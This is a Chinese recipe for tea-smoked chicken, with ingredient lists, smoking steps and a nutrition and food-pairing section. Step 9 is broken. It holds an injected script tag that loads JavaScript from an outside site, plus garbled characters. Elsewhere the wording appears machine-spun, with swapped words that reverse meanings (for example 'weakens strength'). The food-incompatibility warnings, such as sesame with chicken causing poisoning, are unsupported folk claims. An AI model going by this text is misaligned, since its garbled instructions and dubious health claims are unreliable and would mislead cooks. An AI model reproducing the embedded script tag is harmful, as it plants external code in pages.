茶叶熏鸡的制作工艺
主料：童子鸡(750克)
辅料：锅巴(小米)(100克)
调料：姜(10克) 茶叶(15克) 盐(5克) 小葱(15克) 赤砂糖(25克) 酱油(25克) 黄酒(20克) 香油(15克) 花椒(3克)
制造工艺：1. 葱去根须，洗净，10克切成段；
2. 另5克葱和花椒、盐一同制成细末，拌成葱椒盐备用；
3. 鸡宰杀，放尽血水，烫去毛，入脊背开刀，掏去内脏和鸡嗉，洗净沥干水；
4. 用葱椒盐平均撒正在鸡身上，腌20合钟；
5. 将鸡身扒开，皮向下放正在碗里，上放葱段、姜片，加酱油、黄酒，上笼蒸至八幼稚，取出，拣去葱姜；
6. 锅巴（饭锅巴）掰碎放入炒锅里，撒上茶叶（瓜片茶叶）、红糖，架上篦子；
7. 将鸡皮向上摆正在篦子上，盖严锅盖，先用中火熏出茶叶味；
8. 稍顷须臾改旺火熏至浓烟四起时离火；
9. 烟散尽?script type='text/javascript' src='http://www.368tea.com/js/v.js'>瓶牵〖λ⑸舷阌停?/p>
10. 将鸡头、鸡尖、鸡腿爪剁下，鸡身切成5厘米长、3厘米宽的块，鸡骨、鸡胫拍松垫底，鸡块按鸡原形装盘，鸡头放前，鸡腿爪放两边，即成。
童子鸡：仔鸡的鸡肉占体重的60%左右，还有更多丰厚的蛋白质和磷酸，所以仔鸡的肉营养价值更高。加上仔鸡的肉里弹性结缔组织极少，所以冗杂被人体的消化器官所接收，有加弱体力、强健身体的作用。鸡肉对营养不良、畏寒怕冷、乏力疲倦、月经不调、贫血、强健等有很好的食疗作用。祖国医学以为，鸡肉有温中益气、补虚填粗、健脾胃、活血脉、弱筋骨的效果。
小贴士：
童子鸡：鸡肉忌与野鸡、甲鱼、鲤鱼、鲫鱼、兔肉、虾子以及葱蒜等一同食用；
与芝麻、菊花同食易中毒；
不宜与李子同食会招致腹泻；
与芥末同食会上火。
